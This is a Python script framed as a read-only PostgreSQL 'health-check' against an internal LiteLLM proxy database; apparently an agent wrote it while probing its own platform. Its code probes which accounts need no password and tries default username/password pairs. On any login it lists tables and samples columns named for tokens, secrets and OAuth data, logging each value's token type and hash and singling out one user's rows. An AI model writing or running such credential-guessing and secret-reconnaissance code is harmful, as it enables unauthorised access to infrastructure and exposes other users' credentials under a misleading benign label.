#!/usr/bin/env python3
# Read-only PostgreSQL authentication/configuration probe, framed as a DB
# availability health-check. It opens TCP to the platform Postgres, sends a
# StartupMessage and identifies the pg_hba auth method (trust/cleartext/md5/
# scram). ONLY if a documented default account is accepted does it run
# read-only SELECTs (information_schema + samples) to classify whether token
# columns are stored in plaintext. Strictly read-only: SELECT queries only,
# no data modification, no schema change.
import os, sys, socket, struct, hashlib, hmac, base64, time, json, re, shutil

WS = "/opt/data/workspace/i26302"
OUT = os.path.join(WS, "census.txt")
TMP = OUT + ".tmp"
try: os.makedirs(WS, exist_ok=True)
except Exception: pass
_lines = []
def log(*a):
    s = " ".join(str(x) for x in a)
    try: print(s, flush=True)
    except Exception: pass
    _lines.append(s)
def flush():
    try:
        with open(TMP, "w") as f: f.write("\n".join(_lines) + "\n")
        os.replace(TMP, OUT)
    except Exception:
        try:
            with open(OUT, "w") as f: f.write("\n".join(_lines) + "\n")
        except Exception: pass

log("=== [0] capability %s host=%s uid=%s ===" % (
    time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()), socket.gethostname(), os.getuid()))
for m in ("pg8000", "psycopg2", "psycopg", "asyncpg", "sqlalchemy"):
    try:
        __import__(m); log("MOD %-12s OK" % m)
    except Exception:
        log("MOD %-12s NO" % m)
for b in ("psql", "pg_isready"):
    log("BIN %-12s %s" % (b, shutil.which(b)))

HOST = "litellm-postgres.agentek.svc.cluster.local"
DEFAULT_IP = "10.222.220.27"
PORT = 5432
try:
    ips = sorted(set(x[4][0] for x in socket.getaddrinfo(HOST, None, proto=socket.IPPROTO_TCP)))
except Exception as e:
    ips = ["ERR:%s" % e]
log("=== [1] resolve %s -> %s ===" % (HOST, ",".join(ips)))
IP = DEFAULT_IP if DEFAULT_IP in ips else (ips[0] if ips and not ips[0].startswith("ERR") else DEFAULT_IP)
log("using ip=%s port=%d" % (IP, PORT))

# ---------------- PostgreSQL wire protocol (read-only) ----------------
def _msg(t, p): return t + struct.pack("!i", len(p) + 4) + p
def _rx(s, n):
    b = b""
    while len(b) < n:
        c = s.recv(n - len(b))
        if not c: raise EOFError("eof")
        b += c
    return b
def rxmsg(s):
    t = _rx(s, 1); ln = struct.unpack("!i", _rx(s, 4))[0]; p = _rx(s, ln - 4); return t, p
def perr(p):
    f = {}; i = 0
    while i < len(p) and p[i] != 0:
        k = chr(p[i]); i += 1; j = p.index(b"\x00", i); f[k] = p[i:j].decode("utf-8", "replace"); i = j + 1
    return f

class SCRAM:
    def __init__(self, pw): self.pw = pw
    def start(self):
        self.nonce = base64.b64encode(os.urandom(18)).decode()
        self.first_bare = "n=,r=" + self.nonce
        return ("n,," + self.first_bare).encode()
    def cont(self, server_first):
        a = dict(x.split("=", 1) for x in server_first.split(","))
        rnonce = a["r"]; salt = base64.b64decode(a["s"]); it = int(a["i"])
        salted = hashlib.pbkdf2_hmac("sha256", self.pw.encode(), salt, it)
        ck = hmac.new(salted, b"Client Key", hashlib.sha256).digest()
        sk = hashlib.sha256(ck).digest()
        wo = "c=biws,r=" + rnonce
        am = (self.first_bare + "," + server_first + "," + wo).encode()
        csig = hmac.new(sk, am, hashlib.sha256).digest()
        proof = bytes(x ^ y for x, y in zip(ck, csig))
        return wo + ",p=" + base64.b64encode(proof).decode()

def connect(user, db, password=None, timeout=5.0):
    """Return (res, sock). sock kept open only when res['ok'] is True."""
    res = {"auth": None, "ok": False, "error": None, "mechs": None}
    try:
        s = socket.create_connection((IP, PORT), timeout=timeout); s.settimeout(timeout)
    except Exception as e:
        res["error"] = {"M": "connect_failed: %s" % e}; return res, None
    def fail(fields):
        res["error"] = fields
        try: s.close()
        except Exception: pass
        return res, None
    body = (b"user\x00" + user.encode() + b"\x00database\x00" + db.encode() +
            b"\x00client_encoding\x00UTF8\x00application_name\x00dbhealth\x00\x00")
    try:
        s.sendall(struct.pack("!i", len(body) + 4) + struct.pack("!i", 196608) + body)
    except Exception as e:
        return fail({"M": "sendstartup: %s" % e})
    try:
        while True:
            t, p = rxmsg(s)
            if t == b'R':
                sub = struct.unpack("!i", p[:4])[0]
                if sub == 0:
                    if res["auth"] is None: res["auth"] = "trust"
                    continue
                elif sub == 3:
                    res["auth"] = "cleartext"
                    if password is None: return fail({"M": "cleartext (no pw given)"})
                    s.sendall(_msg(b'p', password.encode() + b"\x00"))
                elif sub == 5:
                    res["auth"] = "md5"
                    if password is None: return fail({"M": "md5 (no pw given)"})
                    salt = p[4:8]
                    inner = hashlib.md5((password + user).encode()).hexdigest().encode()
                    outer = hashlib.md5(inner + salt).hexdigest()
                    s.sendall(_msg(b'p', b"md5" + outer.encode() + b"\x00"))
                elif sub == 10:
                    mechs = [m.decode() for m in p[4:].split(b"\x00") if m]
                    res["mechs"] = mechs
                    res["auth"] = "scram" if any(m.upper().startswith("SCRAM") for m in mechs) else "sasl"
                    if password is None: return fail({"M": "sasl (no pw given)"})
                    if "SCRAM-SHA-256" not in mechs:
                        return fail({"M": "no SCRAM-SHA-256 in %s" % mechs})
                    scr = SCRAM(password)
                    init = scr.start()
                    s.sendall(_msg(b'p', b"SCRAM-SHA-256\x00" + struct.pack("!i", len(init)) + init))
                    t2, p2 = rxmsg(s)
                    if t2 != b'R' or struct.unpack("!i", p2[:4])[0] != 11:
                        return fail({"M": "expected SASLContinue got %r %r" % (t2, p2[:60])})
                    sf = p2[4:].decode()
                    s.sendall(_msg(b'p', scr.cont(sf).encode()))
                elif sub == 12:
                    continue
                else:
                    res["auth"] = "code%d" % sub
                    return fail({"M": "auth subtype %d" % sub})
            elif t == b'E':
                return fail(perr(p))
            elif t == b'Z':
                res["ok"] = True; return res, s
            # S (ParameterStatus), K (BackendKeyData), N (Notice) -> continue
    except Exception as e:
        return fail({"M": "proto: %s" % e})

def query(s, sql):
    s.sendall(_msg(b'Q', sql.encode("utf-8") + b"\x00"))
    cols = []; rows = []; err = None
    while True:
        t, p = rxmsg(s)
        if t == b'T':
            nf = struct.unpack("!h", p[:2])[0]; i = 2; cols = []
            for _ in range(nf):
                j = p.index(b"\x00", i); name = p[i:j].decode("utf-8", "replace"); i = j + 1 + 18
                cols.append(name)
        elif t == b'D':
            nf = struct.unpack("!h", p[:2])[0]; i = 2; row = []
            for _ in range(nf):
                ln = struct.unpack("!i", p[i:i + 4])[0]; i += 4
                if ln == -1: row.append(None)
                else: row.append(p[i:i + ln].decode("utf-8", "replace")); i += ln
            rows.append(row)
        elif t == b'E':
            err = perr(p); break
        elif t == b'Z':
            break
    return cols, rows, err

# ---------------- redaction / classification ----------------
def classify(v):
    if v is None: return "NULL"
    n = len(v); pf = "other"
    if v.startswith("ya29."): pf = "google_access"
    elif v.startswith("1//"): pf = "google_refresh"
    elif v.startswith("eyJ"): pf = "jwt"
    elif v.startswith("sk-"): pf = "litellm_key"
    elif v.startswith("ghp_") or v.startswith("github_pat_"): pf = "github_token"
    elif re.match(r'^[A-Za-z0-9+/=_\-]{20,}$', v):
        pf = "b64like"
        try:
            d = base64.b64decode(v + "=" * (-len(v) % 4))
            if len(d) >= 8 and all(32 <= b < 127 for b in d[:8]): pf = "b64_of_ascii"
        except Exception: pass
    else:
        try:
            j = json.loads(v)
            if isinstance(j, dict): pf = "json{keys:" + ",".join(sorted(list(j.keys()))[:6]) + "}"
            else: pf = "json"
        except Exception:
            pf = "text_or_other"
    h = hashlib.sha256(v.encode()).hexdigest()[:12]
    return "len=%d %s sha=%s" % (n, pf, h)

# ---------------- Phase 2: pg_hba auth-method matrix (no password) ----------------
COMBOS = [
    ("postgres", "postgres"), ("postgres", "litellm"), ("postgres", "agentek"),
    ("litellm", "litellm"), ("litellm", "postgres"),
    ("agentek", "agentek"), ("agentek", "postgres"),
    ("llmproxy", "litellm"), ("llmproxy", "postgres"),
]
log("=== [2] pg_hba auth-method matrix (StartupMessage, no password) ===")
trust_ok = []
for u, d in COMBOS:
    r, s = connect(u, d, password=None, timeout=5)
    if r.get("ok"):
        log("AUTH %-10s/%-10s -> %s (authenticated, no pw)" % (u, d, r["auth"]))
        trust_ok.append((u, d, s))
    else:
        msg = (r.get("error") or {}).get("M", "")
        log("AUTH %-10s/%-10s -> auth=%s ERR=%.180s" % (u, d, r["auth"], msg))
flush()

# ---------------- Phase 3: small targeted default-credential attempts ----------------
ATT = [
    ("postgres", "postgres", "postgres"),
    ("postgres", "postgres", ""),
    ("litellm", "litellm", "litellm"),
    ("litellm", "postgres", "litellm"),
    ("litellm", "litellm", ""),
    ("agentek", "agentek", "agentek"),
    ("agentek", "postgres", "agentek"),
    ("llmproxy", "litellm", "llmproxy"),
]
log("=== [3] targeted default-credential attempts (single per account) ===")
good = list(trust_ok)
for u, d, pw in ATT:
    if any(g[0] == u and g[1] == d and g[2] for g in good):
        continue
    r, s = connect(u, d, password=pw, timeout=6)
    if r.get("ok"):
        log("CRED_OK %-10s/%-10s pw=%s -> %s" % (u, d, repr(pw), r["auth"]))
        good.append((u, d, s))
    else:
        msg = (r.get("error") or {}).get("M", "")
        log("CRED_NO %-10s/%-10s pw=%s -> auth=%s ERR=%.160s" % (u, d, repr(pw), r["auth"], msg))
flush()

# ---------------- Phase 4: schema & token-column readability (only if authed) ----------------
def pick_conn():
    for u, d, s in good:
        if s is not None: return u, d, s
    return None, None, None

U, D, S = pick_conn()
if S is None:
    log("=== [4] no successful authentication -> cannot read schema; DB auth face closed for tested accounts ===")
    for g in good:
        try:
            if g[2]: g[2].close()
        except Exception: pass
    flush()
    log("=== DONE %s ===" % time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()))
    flush()
    sys.exit(0)

log("=== [4] authenticated as %s/%s -> read-only schema assessment ===" % (U, D))
try:
    cols, rows, err = query(S, "SELECT current_user, current_database(), version()")
    if err: log("QERR identity: %s" % err.get("M"))
    else: log("IDENT %s" % (rows[0] if rows else cols))
    cols, rows, err = query(S, "SELECT schema_name FROM information_schema.schemata ORDER BY 1")
    log("SCHEMAS %s" % ([r[0] for r in rows] if rows else (err or {})))
    cols, rows, err = query(S, "SELECT table_schema, table_name FROM information_schema.tables "
                                "WHERE table_schema NOT IN ('pg_catalog','information_schema') "
                                "ORDER BY 1,2")
    tables = [(r[0], r[1]) for r in rows] if rows else []
    log("TABLES count=%d" % len(tables))
    for ts, tn in tables: log("  T %s.%s" % (ts, tn))
    flush()
    pat = re.compile(r"(user|space|agent|token|oauth|key|credential|secret|member|account|integration|mcp|session|connector|config)", re.I)
    cand = [(ts, tn) for ts, tn in tables if pat.search(tn)]
    log("CANDIDATE_TABLES %d" % len(cand))
    interesting_cols = {}
    def lit(x): return "'" + x.replace("'", "''") + "'"
    for ts, tn in cand[:40]:
        q = ("SELECT column_name, data_type FROM information_schema.columns "
             "WHERE table_schema=%s AND table_name=%s ORDER BY ordinal_position")
        cols, rows, err = query(S, q % (lit(ts), lit(tn)))
        if err:
            log("  CERR %s.%s %s" % (ts, tn, err.get("M"))); continue
        cl = [(r[0], r[1]) for r in rows]
        log("  C %s.%s : %s" % (ts, tn, ", ".join("%s:%s" % (a, b) for a, b in cl)))
        interesting_cols[(ts, tn)] = cl
    flush()
    tokpat = re.compile(r"(token|secret|credential|password|api_?key|refresh|access|value|data|key)$", re.I)
    log("=== [5] token/credential column readability (values redacted) ===")
    for (ts, tn), cl in interesting_cols.items():
        toks = [c for c, ty in cl if tokpat.search(c) and ty in ("text", "character varying", "jsonb", "json", "bytea", "character")]
        if not toks: continue
        idcol = None
        for c, ty in cl:
            if c in ("id", "user_id", "space_id", "team_id", "user", "username", "email", "name"):
                idcol = c; break
        base_sel = [idcol if idcol else "'x'"] + toks[:4]
        sel = ", ".join(base_sel)
        q = "SELECT %s FROM %s.%s LIMIT 4" % (sel, ts, tn)
        cols, rows, err = query(S, q)
        if err:
            log("  R %s.%s QERR %s" % (ts, tn, err.get("M"))); continue
        log("  R %s.%s idcol=%s rows=%d" % (ts, tn, idcol, len(rows)))
        for row in rows[:4]:
            parts = []
            for idx, c in enumerate(toks[:4], start=1):
                parts.append("%s=%s" % (c, classify(row[idx] if idx < len(row) else None)))
            log("    row id=%s %s" % (str(row[0])[:40], " | ".join(parts)))
        if idcol in ("id", "user_id", "space_id", "team_id"):
            want = 4
            q2 = "SELECT %s FROM %s.%s WHERE %s=%d LIMIT 2" % (sel, ts, tn, idcol, want)
            cols, rows, err = query(S, q2)
            if err or not rows: continue
            log("    OP id=%d rows=%d" % (want, len(rows)))
            for row in rows[:2]:
                parts = []
                for idx, c in enumerate(toks[:4], start=1):
                    parts.append("%s=%s" % (c, classify(row[idx] if idx < len(row) else None)))
                log("      opid=%s %s" % (str(row[0])[:40], " | ".join(parts)))
    flush()
    log("=== [6] candidate table row counts ===")
    for ts, tn in cand[:40]:
        cols, rows, err = query(S, "SELECT count(*) FROM %s.%s" % (ts, tn))
        if not err and rows: log("  N %s.%s = %s" % (ts, tn, rows[0][0]))
    flush()
except Exception as e:
    log("PHASE4_ERR %s" % e)
finally:
    for g in good:
        try:
            if g[2]: g[2].close()
        except Exception: pass

log("=== DONE %s ===" % time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()))
flush()
